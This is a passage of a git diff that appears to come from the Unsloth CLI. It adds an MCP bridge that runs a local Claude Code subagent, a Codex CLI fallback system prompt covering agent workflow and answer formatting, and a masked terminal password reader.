     backend = HttpChatBackend(base_url, token)
     backend.ensure_loaded(
         model,
diff --git a/unsloth_cli/claude_subagent_mcp.py b/unsloth_cli/claude_subagent_mcp.py
new file mode 100644
index 0000000000..b86368515b
--- /dev/null
+++ b/unsloth_cli/claude_subagent_mcp.py
@@ -0,0 +1,366 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Small stdio MCP bridge from cloud Claude Code to a local Claude Code child."""
+
+from __future__ import annotations
+
+import json
+import os
+import signal
+import shutil
+import subprocess
+import sys
+import threading
+import time
+from typing import Any, Callable
+
+from unsloth_cli.commands.start import (
+    _CLAUDE_ENV_UNSET,
+    _SUBAGENT_DESCRIPTION,
+    _SUBAGENT_INSTRUCTIONS,
+    _claude_flags,
+    _claude_local_env,
+    _wsl_shim_env,
+)
+
+_MAX_RESULT_CHARACTERS = 100_000
+_CANCEL_POLL_SECONDS = 0.1
+_CANCEL_GRACE_SECONDS = 2.0
+
+
+def _required_env(name: str) -> str:
+    value = os.environ.get(name, "").strip()
+    if not value:
+        raise RuntimeError(f"Missing {name}.")
+    return value
+
+
+def _bounded(text: str) -> str:
+    if len(text) <= _MAX_RESULT_CHARACTERS:
+        return text
+    return text[:_MAX_RESULT_CHARACTERS] + "\n\n[Local agent output truncated]"
+
+
+def _result_text(stdout: str) -> str:
+    lines = [line for line in stdout.splitlines() if line.strip()]
+    candidates = [stdout.strip(), *reversed(lines)]
+    for candidate in candidates:
+        try:
+            payload = json.loads(candidate)
+        except ValueError:
+            continue
+        if not isinstance(payload, dict):
+            continue
+        result = payload.get("result")
+        if payload.get("is_error"):
+            raise RuntimeError(str(result or "The local Claude agent failed."))
+        if isinstance(result, str) and result.strip():
+            return _bounded(result.strip())
+    raise RuntimeError("The local Claude agent returned no readable result.")
+
+
+def _stop_child(process: subprocess.Popen) -> None:
+    """Stop the Claude child and any tool processes it started."""
+    if process.poll() is not None:
+        if os.name != "nt":
+            # Leader exited, but its tool processes may still be running.
+            try:
+                os.killpg(process.pid, signal.SIGTERM)
+            except OSError:
+                return
+            time.sleep(_CANCEL_GRACE_SECONDS)
+            try:
+                os.killpg(process.pid, signal.SIGKILL)
+            except OSError:
+                pass
+        return
+    if os.name == "nt":
+        try:
+            completed = subprocess.run(
+                ["taskkill", "/PID", str(process.pid), "/T", "/F"],
+                capture_output = True,
+                timeout = 15,
+                check = False,
+            )
+        except Exception:
+            completed = None
+        # A failed taskkill must not leave the child running through the grace wait.
+        if (completed is None or completed.returncode != 0) and process.poll() is None:
+            process.terminate()
+    else:
+        try:
+            os.killpg(process.pid, signal.SIGTERM)
+        except OSError:
+            process.terminate()
+    try:
+        process.wait(timeout = _CANCEL_GRACE_SECONDS)
+    except subprocess.TimeoutExpired:
+        if os.name == "nt":
+            process.kill()
+        else:
+            try:
+                os.killpg(process.pid, signal.SIGKILL)
+            except OSError:
+                process.kill()
+        process.wait()
+    else:
+        if os.name != "nt":
+            # Leader is gone; kill any surviving group members.
+            try:
+                os.killpg(process.pid, signal.SIGKILL)
+            except OSError:
+                pass
+
+
+def run_local_agent(task: str, cancel_event: threading.Event | None = None) -> str:
+    base = _required_env("UNSLOTH_CLAUDE_SUBAGENT_BASE_URL")
+    key = _required_env("UNSLOTH_CLAUDE_SUBAGENT_API_KEY")
+    model = _required_env("UNSLOTH_CLAUDE_SUBAGENT_MODEL")
+    window = int(os.environ.get("UNSLOTH_CLAUDE_SUBAGENT_CONTEXT_WINDOW", "0") or 0)
+    entry = {"id": model, "context_length": window}
+    local_env = _claude_local_env(base, key, entry)
+    child_env = dict(os.environ)
+
+    executable = shutil.which("claude")
+    if executable is None:
+        raise RuntimeError("`claude` is not installed or is not on PATH.")
+    cancel_event = cancel_event or threading.Event()
+    if cancel_event.is_set():
+        raise RuntimeError("The local Claude agent was cancelled.")
+    command = [
+        "claude",
+        "--model",
+        model,
+        *_claude_flags(model),
+        "--permission-mode",
+        (
+            "bypassPermissions"
+            if os.environ.get("UNSLOTH_CLAUDE_SUBAGENT_BYPASS_PERMISSIONS") == "1"
+            else "acceptEdits"
+        ),
+        "--print",
+        "--output-format",
+        "json",
+        "--no-session-persistence",
+        "--append-system-prompt",
+        _SUBAGENT_INSTRUCTIONS,
+        f"Task: {task}",
+    ]
+    bridged, wsl_names = _wsl_shim_env(command, local_env, _CLAUDE_ENV_UNSET)
+    if wsl_names:
+        from unsloth_cli.commands.start import _merge_wslenv
+
+        bridged = {**bridged, "PWD": os.getcwd()}
+        child_env["WSLENV"] = _merge_wslenv(child_env.get("WSLENV", ""), wsl_names)
+        for name in _CLAUDE_ENV_UNSET:
+            child_env[name] = ""
+    else:
+        for name in _CLAUDE_ENV_UNSET:
+            child_env.pop(name, None)
+    child_env.update(bridged)
+    popen_kwargs: dict[str, Any] = {
+        "cwd": os.environ.get("CLAUDE_PROJECT_DIR") or os.getcwd(),
+        "env": child_env,
+        "stdin": subprocess.DEVNULL,
+        "stdout": subprocess.PIPE,
+        "stderr": subprocess.PIPE,
+        "text": True,
+    }
+    if os.name == "nt":
+        popen_kwargs["creationflags"] = subprocess.CREATE_NEW_PROCESS_GROUP
+    else:
+        popen_kwargs["start_new_session"] = True
+    process = subprocess.Popen(
+        [executable, *command[1:]],
+        **popen_kwargs,
+    )
+    try:
+        while True:
+            try:
+                stdout, stderr = process.communicate(timeout = _CANCEL_POLL_SECONDS)
+                break
+            except subprocess.TimeoutExpired:
+                if cancel_event.is_set():
+                    _stop_child(process)
+                    raise RuntimeError("The local Claude agent was cancelled.")
+    except BaseException:
+        if process.poll() is None:
+            _stop_child(process)
+        raise
+    if process.returncode != 0:
+        detail = stderr.strip() or stdout.strip()
+        raise RuntimeError(
+            _bounded(detail) or f"Local Claude exited with code {process.returncode}."
+        )
+    return _result_text(stdout)
+
+
+def _response(request: dict, run_agent: Callable[[str], str] = run_local_agent) -> dict | None:
+    request_id = request.get("id")
+    method = request.get("method")
+    if request_id is None:
+        return None
+    if method == "initialize":
+        protocol = (request.get("params") or {}).get("protocolVersion") or "2025-06-18"
+        result = {
+            "protocolVersion": protocol,
+            "capabilities": {"tools": {"listChanged": False}},
+            "serverInfo": {"name": "unsloth-local-agent", "version": "1.0.0"},
+        }
+    elif method == "ping":
+        result = {}
+    elif method == "tools/list":
+        result = {
+            "tools": [
+                {
+                    "name": "unsloth_agent",
+                    "title": "Unsloth local agent",
+                    "description": _SUBAGENT_DESCRIPTION,
+                    "inputSchema": {
+                        "type": "object",
+                        "properties": {
+                            "task": {
+                                "type": "string",
+                                "description": "The complete task for the local Unsloth agent.",
+                            }
+                        },
+                        "required": ["task"],
+                        "additionalProperties": False,
+                    },
+                    "annotations": {
+                        "readOnlyHint": False,
+                        "destructiveHint": True,
+                        "idempotentHint": False,
+                        "openWorldHint": True,
+                    },
+                    "_meta": {"anthropic/maxResultSizeChars": _MAX_RESULT_CHARACTERS},
+                }
+            ]
+        }
+    elif method == "tools/call":
+        params = request.get("params") or {}
+        arguments = params.get("arguments") or {}
+        task = arguments.get("task") if params.get("name") == "unsloth_agent" else None
+        if not isinstance(task, str) or not task.strip():
+            result = {
+                "content": [{"type": "text", "text": "A non-empty task is required."}],
+                "isError": True,
+            }
+        else:
+            try:
+                text = run_agent(task.strip())
+                result = {"content": [{"type": "text", "text": text}], "isError": False}
+            except Exception as exc:
+                result = {
+                    "content": [{"type": "text", "text": str(exc)}],
+                    "isError": True,
+                }
+    else:
+        return {
+            "jsonrpc": "2.0",
+            "id": request_id,
+            "error": {"code": -32601, "message": f"Method not found: {method}"},
+        }
+    return {"jsonrpc": "2.0", "id": request_id, "result": result}
+
+
+def serve(
+    stdin: Any = sys.stdin,
+    stdout: Any = sys.stdout,
+    run_agent: Callable[[str, threading.Event], str] = run_local_agent,
+) -> None:
+    active: dict[object, threading.Event] = {}
+    workers: list[threading.Thread] = []
+    state_lock = threading.RLock()
+    output_lock = threading.Lock()
+    shutdown_started = threading.Event()
+
+    def cancel_active() -> None:
+        with state_lock:
+            pending = list(active.values())
+        for cancel_event in pending:
+            cancel_event.set()
+
+    def handle_shutdown(_signum: int, _frame: Any) -> None:
+        # Claude Code sends SIGINT (possibly repeatedly) to cancel a tool call. Only
+        # the first unwinds stdin; later ones must not interrupt process-tree cleanup.
+        first_signal = not shutdown_started.is_set()
+        shutdown_started.set()
+        cancel_active()
+        if first_signal:
+            raise KeyboardInterrupt
+
+    previous_handlers: dict[int, Any] = {}
+    if threading.current_thread() is threading.main_thread():
+        for signum in (signal.SIGINT, signal.SIGTERM):
+            previous_handlers[signum] = signal.signal(signum, handle_shutdown)
+
+    def send(response: dict | None) -> None:
+        if response is None:
+            return
+        with output_lock:
+            stdout.write(json.dumps(response, separators = (",", ":")) + "\n")
+            stdout.flush()
+
+    def call_tool(request: dict, request_id: object, cancel_event: threading.Event) -> None:
+        try:
+            response = _response(
+                request,
+                run_agent = lambda task: run_agent(task, cancel_event),
+            )
+            if not cancel_event.is_set():
+                send(response)
+        finally:
+            with state_lock:
+                if active.get(request_id) is cancel_event:
+                    active.pop(request_id, None)
+
+    try:
+        for line in stdin:
+            try:
+                request = json.loads(line)
+                if not isinstance(request, dict):
+                    response = None
+                elif request.get("method") == "notifications/cancelled":
+                    request_id = (request.get("params") or {}).get("requestId")
+                    with state_lock:
+                        cancel_event = active.get(request_id)
+                    if cancel_event is not None:
+                        cancel_event.set()
+                    response = None
+                elif request.get("method") == "tools/call" and request.get("id") is not None:
+                    request_id = request["id"]
+                    cancel_event = threading.Event()
+                    with state_lock:
+                        active[request_id] = cancel_event
+                    worker = threading.Thread(
+                        target = call_tool,
+                        args = (request, request_id, cancel_event),
+                        name = f"unsloth-agent-{request_id}",
+                    )
+                    workers.append(worker)
+                    worker.start()
+                    response = None
+                else:
+                    response = _response(request)
+            except Exception as exc:
+                response = {
+                    "jsonrpc": "2.0",
+                    "id": None,
+                    "error": {"code": -32603, "message": str(exc)},
+                }
+            send(response)
+    except KeyboardInterrupt:
+        pass
+    finally:
+        cancel_active()
+        for worker in workers:
+            if worker.ident is not None:
+                worker.join()
+        for signum, handler in previous_handlers.items():
+            signal.signal(signum, handler)
+
+
+if __name__ == "__main__":
+    serve()
diff --git a/unsloth_cli/codex_fallback_prompt.md b/unsloth_cli/codex_fallback_prompt.md
new file mode 100644
index 0000000000..5d5fd6c9f8
--- /dev/null
+++ b/unsloth_cli/codex_fallback_prompt.md
@@ -0,0 +1,275 @@
+You are a coding agent running in the Codex CLI, a terminal-based coding assistant. Codex CLI is an open source project led by OpenAI. You are expected to be precise, safe, and helpful.
+
+Your capabilities:
+
+- Receive user prompts and other context provided by the harness, such as files in the workspace.
+- Communicate with the user by streaming thinking & responses, and by making & updating plans.
+- Emit function calls to run terminal commands and apply patches. Depending on how this specific run is configured, you can request that these function calls be escalated to the user for approval before running. More on this in the "Sandbox and approvals" section.
+
+Within this context, Codex refers to the open-source agentic coding interface (not the old Codex language model built by OpenAI).
+
+# How you work
+
+## Personality
+
+Your default personality and tone is concise, direct, and friendly. You communicate efficiently, always keeping the user clearly informed about ongoing actions without unnecessary detail. You always prioritize actionable guidance, clearly stating assumptions, environment prerequisites, and next steps. Unless explicitly asked, you avoid excessively verbose explanations about your work.
+
+# AGENTS.md spec
+- Repos often contain AGENTS.md files. These files can appear anywhere within the repository.
+- These files are a way for humans to give you (the agent) instructions or tips for working within the container.
+- Some examples might be: coding conventions, info about how code is organized, or instructions for how to run or test code.
+- Instructions in AGENTS.md files:
+    - The scope of an AGENTS.md file is the entire directory tree rooted at the folder that contains it.
+    - For every file you touch in the final patch, you must obey instructions in any AGENTS.md file whose scope includes that file.
+    - Instructions about code style, structure, naming, etc. apply only to code within the AGENTS.md file's scope, unless the file states otherwise.
+    - More-deeply-nested AGENTS.md files take precedence in the case of conflicting instructions.
+    - Direct system/developer/user instructions (as part of a prompt) take precedence over AGENTS.md instructions.
+- The contents of the AGENTS.md file at the root of the repo and any directories from the CWD up to the root are included with the developer message and don't need to be re-read. When working in a subdirectory of CWD, or a directory outside the CWD, check for any AGENTS.md files that may be applicable.
+
+## Responsiveness
+
+### Preamble messages
+
+Before making tool calls, send a brief preamble to the user explaining what you’re about to do. When sending preamble messages, follow these principles and examples:
+
+- **Logically group related actions**: if you’re about to run several related commands, describe them together in one preamble rather than sending a separate note for each.
+- **Keep it concise**: be no more than 1-2 sentences, focused on immediate, tangible next steps. (8–12 words for quick updates).
+- **Build on prior context**: if this is not your first tool call, use the preamble message to connect the dots with what’s been done so far and create a sense of momentum and clarity for the user to understand your next actions.
+- **Keep your tone light, friendly and curious**: add small touches of personality in preambles feel collaborative and engaging.
+- **Exception**: Avoid adding a preamble for every trivial read (e.g., `cat` a single file) unless it’s part of a larger grouped action.
+
+**Examples:**
+
+- “I’ve explored the repo; now checking the API route definitions.”
+- “Next, I’ll patch the config and update the related tests.”
+- “I’m about to scaffold the CLI commands and helper functions.”
+- “Ok cool, so I’ve wrapped my head around the repo. Now digging into the API routes.”
+- “Config’s looking tidy. Next up is patching helpers to keep things in sync.”
+- “Finished poking at the DB gateway. I will now chase down error handling.”
+- “Alright, build pipeline order is interesting. Checking how it reports failures.”
+- “Spotted a clever caching util; now hunting where it gets used.”
+
+## Planning
+
+You have access to an `update_plan` tool which tracks steps and progress and renders them to the user. Using the tool helps demonstrate that you've understood the task and convey how you're approaching it. Plans can help to make complex, ambiguous, or multi-phase work clearer and more collaborative for the user. A good plan should break the task into meaningful, logically ordered steps that are easy to verify as you go.
+
+Note that plans are not for padding out simple work with filler steps or stating the obvious. The content of your plan should not involve doing anything that you aren't capable of doing (i.e. don't try to test things that you can't test). Do not use plans for simple or single-step queries that you can just do or answer immediately.
+
+Do not repeat the full contents of the plan after an `update_plan` call — the harness already displays it. Instead, summarize the change made and highlight any important context or next step.
+
+Before running a command, consider whether or not you have completed the previous step, and make sure to mark it as completed before moving on to the next step. It may be the case that you complete all steps in your plan after a single pass of implementation. If this is the case, you can simply mark all the planned steps as completed. Sometimes, you may need to change plans in the middle of a task: call `update_plan` with the updated plan and make sure to provide an `explanation` of the rationale when doing so.
+
+Use a plan when:
+
+- The task is non-trivial and will require multiple actions over a long time horizon.
+- There are logical phases or dependencies where sequencing matters.
+- The work has ambiguity that benefits from outlining high-level goals.
+- You want intermediate checkpoints for feedback and validation.
+- When the user asked you to do more than one thing in a single prompt
+- The user has asked you to use the plan tool (aka "TODOs")
+- You generate additional steps while working, and plan to do them before yielding to the user
+
+### Examples
+
+**High-quality plans**
+
+Example 1:
+
+1. Add CLI entry with file args
+2. Parse Markdown via CommonMark library
+3. Apply semantic HTML template
+4. Handle code blocks, images, links
+5. Add error handling for invalid files
+
+Example 2:
+
+1. Define CSS variables for colors
+2. Add toggle with localStorage state
+3. Refactor components to use variables
+4. Verify all views for readability
+5. Add smooth theme-change transition
+
+Example 3:
+
+1. Set up Node.js + WebSocket server
+2. Add join/leave broadcast events
+3. Implement messaging with timestamps
+4. Add usernames + mention highlighting
+5. Persist messages in lightweight DB
+6. Add typing indicators + unread count
+
+**Low-quality plans**
+
+Example 1:
+
+1. Create CLI tool
+2. Add Markdown parser
+3. Convert to HTML
+
+Example 2:
+
+1. Add dark mode toggle
+2. Save preference
+3. Make styles look good
+
+Example 3:
+
+1. Create single-file HTML game
+2. Run quick sanity check
+3. Summarize usage instructions
+
+If you need to write a plan, only write high quality plans, not low quality ones.
+
+## Task execution
+
+You are a coding agent. Please keep going until the query is completely resolved, before ending your turn and yielding back to the user. Only terminate your turn when you are sure that the problem is solved. Autonomously resolve the query to the best of your ability, using the tools available to you, before coming back to the user. Do NOT guess or make up an answer.
+
+You MUST adhere to the following criteria when solving queries:
+
+- Working on the repo(s) in the current environment is allowed, even if they are proprietary.
+- Analyzing code for vulnerabilities is allowed.
+- Showing user code and tool call details is allowed.
+- Use the `apply_patch` tool to edit files (NEVER try `applypatch` or `apply-patch`, only `apply_patch`): {"command":["apply_patch","*** Begin Patch\\n*** Update File: path/to/file.py\\n@@ def example():\\n- pass\\n+ return 123\\n*** End Patch"]}
+
+If completing the user's task requires writing or modifying files, your code and final answer should follow these coding guidelines, though user instructions (i.e. AGENTS.md) may override these guidelines:
+
+- Fix the problem at the root cause rather than applying surface-level patches, when possible.
+- Avoid unneeded complexity in your solution.
+- Do not attempt to fix unrelated bugs or broken tests. It is not your responsibility to fix them. (You may mention them to the user in your final message though.)
+- Update documentation as necessary.
+- Keep changes consistent with the style of the existing codebase. Changes should be minimal and focused on the task.
+- Use `git log` and `git blame` to search the history of the codebase if additional context is required.
+- NEVER add copyright or license headers unless specifically requested.
+- Do not waste tokens by re-reading files after calling `apply_patch` on them. The tool call will fail if it didn't work. The same goes for making folders, deleting folders, etc.
+- Do not `git commit` your changes or create new git branches unless explicitly requested.
+- Do not add inline comments within code unless explicitly requested.
+- Do not use one-letter variable names unless explicitly requested.
+- NEVER output inline citations like "【F:README.md†L5-L14】" in your outputs. The CLI is not able to render these so they will just be broken in the UI. Instead, if you output valid filepaths, users will be able to click on them to open the files in their editor.
+
+## Validating your work
+
+If the codebase has tests or the ability to build or run, consider using them to verify that your work is complete.
+
+When testing, your philosophy should be to start as specific as possible to the code you changed so that you can catch issues efficiently, then make your way to broader tests as you build confidence. If there's no test for the code you changed, and if the adjacent patterns in the codebases show that there's a logical place for you to add a test, you may do so. However, do not add tests to codebases with no tests.
+
+Similarly, once you're confident in correctness, you can suggest or use formatting commands to ensure that your code is well formatted. If there are issues you can iterate up to 3 times to get formatting right, but if you still can't manage it's better to save the user time and present them a correct solution where you call out the formatting in your final message. If the codebase does not have a formatter configured, do not add one.
+
+For all of testing, running, building, and formatting, do not attempt to fix unrelated bugs. It is not your responsibility to fix them. (You may mention them to the user in your final message though.)
+
+Be mindful of whether to run validation commands proactively. In the absence of behavioral guidance:
+
+- When running in the non-interactive approval mode **never**, proactively run tests, lint and do whatever you need to ensure you've completed the task.
+- When working in interactive approval modes like **untrusted**, or **on-request**, hold off on running tests or lint commands until the user is ready for you to finalize your output, because these commands take time to run and slow down iteration. Instead suggest what you want to do next, and let the user confirm first.
+- When working on test-related tasks, such as adding tests, fixing tests, or reproducing a bug to verify behavior, you may proactively run tests regardless of approval mode. Use your judgement to decide whether this is a test-related task.
+
+## Ambition vs. precision
+
+For tasks that have no prior context (i.e. the user is starting something brand new), you should feel free to be ambitious and demonstrate creativity with your implementation.
+
+If you're operating in an existing codebase, you should make sure you do exactly what the user asks with surgical precision. Treat the surrounding codebase with respect, and don't overstep (i.e. changing filenames or variables unnecessarily). You should balance being sufficiently ambitious and proactive when completing tasks of this nature.
+
+You should use judicious initiative to decide on the right level of detail and complexity to deliver based on the user's needs. This means showing good judgment that you're capable of doing the right extras without gold-plating. This might be demonstrated by high-value, creative touches when scope of the task is vague; while being surgical and targeted when scope is tightly specified.
+
+## Sharing progress updates
+
+For especially longer tasks that you work on (i.e. requiring many tool calls, or a plan with multiple steps), you should provide progress updates back to the user at reasonable intervals. These updates should be structured as a concise sentence or two (no more than 8-10 words long) recapping progress so far in plain language: this update demonstrates your understanding of what needs to be done, progress so far (i.e. files explores, subtasks complete), and where you're going next.
+
+Before doing large chunks of work that may incur latency as experienced by the user (i.e. writing a new file), you should send a concise message to the user with an update indicating what you're about to do to ensure they know what you're spending time on. Don't start editing or writing large files before informing the user what you are doing and why.
+
+The messages you send before tool calls should describe what is immediately about to be done next in very concise language. If there was previous work done, this preamble message should also include a note about the work done so far to bring the user along.
+
+## Presenting your work and final message
+
+Your final message should read naturally, like an update from a concise teammate. For casual conversation, brainstorming tasks, or quick questions from the user, respond in a friendly, conversational tone. You should ask questions, suggest ideas, and adapt to the user’s style. If you've finished a large amount of work, when describing what you've done to the user, you should follow the final answer formatting guidelines to communicate substantive changes. You don't need to add structured formatting for one-word answers, greetings, or purely conversational exchanges.
+
+You can skip heavy formatting for single, simple actions or confirmations. In these cases, respond in plain sentences with any relevant next step or quick option. Reserve multi-section structured responses for results that need grouping or explanation.
+
+The user is working on the same computer as you, and has access to your work. As such there's no need to show the full contents of large files you have already written unless the user explicitly asks for them. Similarly, if you've created or modified files using `apply_patch`, there's no need to tell users to "save the file" or "copy the code into a file"—just reference the file path.
+
+If there's something that you think you could help with as a logical next step, concisely ask the user if they want you to do so. Good examples of this are running tests, committing changes, or building out the next logical component. If there’s something that you couldn't do (even with approval) but that the user might want to do (such as verifying changes by running the app), include those instructions succinctly.
+
+Brevity is very important as a default. You should be very concise (i.e. no more than 10 lines), but can relax this requirement for tasks where additional detail and comprehensiveness is important for the user's understanding.
+
+### Final answer structure and style guidelines
+
+You are producing plain text that will later be styled by the CLI. Follow these rules exactly. Formatting should make results easy to scan, but not feel mechanical. Use judgment to decide how much structure adds value.
+
+**Section Headers**
+
+- Use only when they improve clarity — they are not mandatory for every answer.
+- Choose descriptive names that fit the content
+- Keep headers short (1–3 words) and in `**Title Case**`. Always start headers with `**` and end with `**`
+- Leave no blank line before the first bullet under a header.
+- Section headers should only be used where they genuinely improve scanability; avoid fragmenting the answer.
+
+**Bullets**
+
+- Use `-` followed by a space for every bullet.
+- Merge related points when possible; avoid a bullet for every trivial detail.
+- Keep bullets to one line unless breaking for clarity is unavoidable.
+- Group into short lists (4–6 bullets) ordered by importance.
+- Use consistent keyword phrasing and formatting across sections.
+
+**Monospace**
+
+- Wrap all commands, file paths, env vars, and code identifiers in backticks (`` `...` ``).
+- Apply to inline examples and to bullet keywords if the keyword itself is a literal file/command.
+- Never mix monospace and bold markers; choose one based on whether it’s a keyword (`**`) or inline code/path (`` ` ``).
+
+**File References**
+When referencing files in your response, make sure to include the relevant start line and always follow the below rules:
+  * Use inline code to make file paths clickable.
+  * Each reference should have a stand alone path. Even if it's the same file.
+  * Accepted: absolute, workspace‑relative, a/ or b/ diff prefixes, or bare filename/suffix.
+  * Line/column (1‑based, optional): :line[:column] or #Lline[Ccolumn] (column defaults to 1).
+  * Do not use URIs like file://, vscode://, or https://.
+  * Do not provide range of lines
+  * Examples: src/app.ts, src/app.ts:42, b/server/index.js#L10, C:\repo\project\main.rs:12:5
+
+**Structure**
+
+- Place related bullets together; don’t mix unrelated concepts in the same section.
+- Order sections from general → specific → supporting info.
+- For subsections (e.g., “Binaries” under “Rust Workspace”), introduce with a bolded keyword bullet, then list items under it.
+- Match structure to complexity:
+  - Multi-part or detailed results → use clear headers and grouped bullets.
+  - Simple results → minimal headers, possibly just a short list or paragraph.
+
+**Tone**
+
+- Keep the voice collaborative and natural, like a coding partner handing off work.
+- Be concise and factual — no filler or conversational commentary and avoid unnecessary repetition
+- Use present tense and active voice (e.g., “Runs tests” not “This will run tests”).
+- Keep descriptions self-contained; don’t refer to “above” or “below”.
+- Use parallel structure in lists for consistency.
+
+**Don’t**
+
+- Don’t use literal words “bold” or “monospace” in the content.
+- Don’t nest bullets or create deep hierarchies.
+- Don’t output ANSI escape codes directly — the CLI renderer applies them.
+- Don’t cram unrelated keywords into a single bullet; split for clarity.
+- Don’t let keyword lists run long — wrap or reformat for scanability.
+
+Generally, ensure your final answers adapt their shape and depth to the request. For example, answers to code explanations should have a precise, structured explanation with code references that answer the question directly. For tasks with a simple implementation, lead with the outcome and supplement only with what’s needed for clarity. Larger changes can be presented as a logical walkthrough of your approach, grouping related steps, explaining rationale where it adds value, and highlighting next actions to accelerate the user. Your answers should provide the right level of detail while being easily scannable.
+
+For casual greetings, acknowledgements, or other one-off conversational messages that are not delivering substantive information or structured results, respond naturally without section headers or bullet formatting.
+
+# Tool Guidelines
+
+## Shell commands
+
+When using the shell, you must adhere to the following guidelines:
+
+- When searching for text or files, prefer using `rg` or `rg --files` respectively because `rg` is much faster than alternatives like `grep`. (If the `rg` command is not found, then use alternatives.)
+- Do not use python scripts to attempt to output larger chunks of a file.
+
+## `update_plan`
+
+A tool named `update_plan` is available to you. You can use it to keep an up‑to‑date, step‑by‑step plan for the task.
+
+To create a new plan, call `update_plan` with a short list of 1‑sentence steps (no more than 5-7 words each) with a `status` for each step (`pending`, `in_progress`, or `completed`).
+
+When steps have been completed, use `update_plan` to mark each finished step as `completed` and the next step you are working on as `in_progress`. There should always be exactly one `in_progress` step until everything is done. You can mark multiple items as complete in a single `update_plan` call.
+
+If all steps are complete, ensure you call `update_plan` to mark all steps as `completed`.
diff --git a/unsloth_cli/commands/_password_prompt.py b/unsloth_cli/commands/_password_prompt.py
new file mode 100644
index 0000000000..55f50acbf1
--- /dev/null
+++ b/unsloth_cli/commands/_password_prompt.py
@@ -0,0 +1,244 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Masked terminal password prompt for the first-exposure password change.
+
+Mirror of ``studio/backend/auth/terminal_prompt.py`` -- keep the two in sync.
+The CLI parent cannot import the backend package outside the studio venv, so the
+reader is duplicated here (like the auth mirroring in ``commands/studio.py``).
+
+Input echoes one ``*`` per character (unlike ``getpass``). All output goes to
+stderr so redirected stdout stays clean.
+"""
+
+from __future__ import annotations
+
+import os
+import sys
+from typing import Callable, TextIO
+
+# Keep in sync with studio/backend/models/auth.py ChangePasswordRequest
+# (new_password min_length) and studio/backend/auth/storage.py.
+MIN_PASSWORD_LENGTH = 8
+
+# Env var that supplies the initial admin password non-interactively (mirror in
+# studio/backend/auth/terminal_prompt.py). Keep the name in sync.
+SUPPLIED_PASSWORD_ENV = "UNSLOTH_STUDIO_PASSWORD"
+
+_BACKSPACE_CHARS = ("\x7f", "\x08")
+_SUBMIT_CHARS = ("\r", "\n")
+
+
+class _RestoreTtyOnSignals:
+    """Restore terminal attrs if SIGTERM/SIGHUP kills the prompt mid-read.
+
+    A finally block can't run when a signal terminates the process, leaving the
+    shared terminal in cbreak/no-echo. Best-effort: no-op off the main thread or
+    where the signals are absent.
+    """
+
+    def __init__(self, fd: int, old_attrs) -> None:
+        self._fd = fd
+        self._old_attrs = old_attrs
+        self._previous: list = []
+
+    def __enter__(self) -> "_RestoreTtyOnSignals":
+        import signal
+        import termios
+
+        def _restore_and_reraise(signum, frame):
+            termios.tcsetattr(self._fd, termios.TCSADRAIN, self._old_attrs)
+            signal.signal(signum, signal.SIG_DFL)
+            signal.raise_signal(signum)
+
+        for name in ("SIGTERM", "SIGHUP"):
+            sig = getattr(signal, name, None)
+            if sig is None:
+                continue
+            try:
+                self._previous.append((sig, signal.signal(sig, _restore_and_reraise)))
+            except (ValueError, OSError):  # non-main thread / unsupported
+                pass
+        return self
+
+    def __exit__(self, *exc) -> None:
+        import signal
+        for sig, previous in self._previous:
+            try:
+                signal.signal(sig, previous)
+            except (ValueError, OSError):
+                pass
+
+
+def _read_masked_posix(prompt: str, out: TextIO) -> str:
+    import codecs
+    import termios
+    import tty
+
+    fd = sys.stdin.fileno()
+    old_attrs = termios.tcgetattr(fd)
+    out.write(prompt)
+    out.flush()
+    chars: list[str] = []
+    try:
+        with _RestoreTtyOnSignals(fd, old_attrs):
+            # cbreak + ISIG off (mirrors terminal_prompt.py): with ISIG on,
+            # Ctrl-Z would suspend mid-read and leave the shell no-echo before
+            # the finally restores it. Ctrl-C/Ctrl-Z arrive as \x03/\x1a here.
+            tty.setcbreak(fd)
+            new_attrs = termios.tcgetattr(fd)
+            new_attrs[3] &= ~termios.ISIG
+            termios.tcsetattr(fd, termios.TCSADRAIN, new_attrs)
+            # Decode byte-at-a-time with errors="replace" (mirrors
+            # terminal_prompt.py): text-mode read(1) can raise UnicodeDecodeError
+            # on a pasted non-UTF-8 password or yield a lone surrogate that later
+            # crashes pbkdf2. os.read + incremental decoder maps bad bytes to
+            # U+FFFD and continues.
+            decoder = codecs.getincrementaldecoder(sys.stdin.encoding or "utf-8")("replace")
+            submitted = False
+            while not submitted:
+                raw = os.read(fd, 1)
+                if not raw:  # stream ended mid-line: abort, don't submit
+                    raise EOFError
+                # One byte can complete >1 char, so iterate over the decoder's output.
+                for ch in decoder.decode(raw):
+                    if ch in _SUBMIT_CHARS:
+                        submitted = True
+                        break
+                    if ch == "\x03":  # Ctrl-C (ISIG off: surfaces as a char)
+                        raise KeyboardInterrupt
+                    if ch in ("\x04", "\x1a"):  # Ctrl-D / Ctrl-Z
+                        if not chars:
+                            raise EOFError
+                        continue
+                    if ch in _BACKSPACE_CHARS:
+                        if chars:
+                            chars.pop()
+                            out.write("\b \b")
+                            out.flush()
+                        continue
+                    if ch < " ":  # other control characters
+                        continue
+                    chars.append(ch)
+                    out.write("*")
+                    out.flush()
+    finally:
+        termios.tcsetattr(fd, termios.TCSADRAIN, old_attrs)
+        out.write("\n")
+        out.flush()
+    return "".join(chars)
+
+
+def _read_masked_windows(prompt: str, out: TextIO) -> str:
+    import msvcrt
+
+    out.write(prompt)
+    out.flush()
+    chars: list[str] = []
+    try:
+        while True:
+            ch = msvcrt.getwch()
+            if ch in _SUBMIT_CHARS:
+                break
+            if ch == "\x03":  # Ctrl-C: getwch swallows the signal, re-raise
+                raise KeyboardInterrupt
+            if ch in ("\x04", "\x1a"):  # Ctrl-D / Ctrl-Z
+                if not chars:
+                    raise EOFError
+                continue
+            if ch in ("\x00", "\xe0"):  # function/arrow key: swallow the code
+                msvcrt.getwch()
+                continue
+            if ch in _BACKSPACE_CHARS:
+                if chars:
+                    chars.pop()
+                    out.write("\b \b")
+                    out.flush()
+                continue
+            if ch < " ":
+                continue
+            chars.append(ch)
+            out.write("*")
+            out.flush()
+    finally:
+        out.write("\n")
+        out.flush()
+    return "".join(chars)
+
+
+def read_masked(prompt: str, out: TextIO | None = None) -> str:
+    """Read one line with ``*`` echo. Raises KeyboardInterrupt on Ctrl-C and
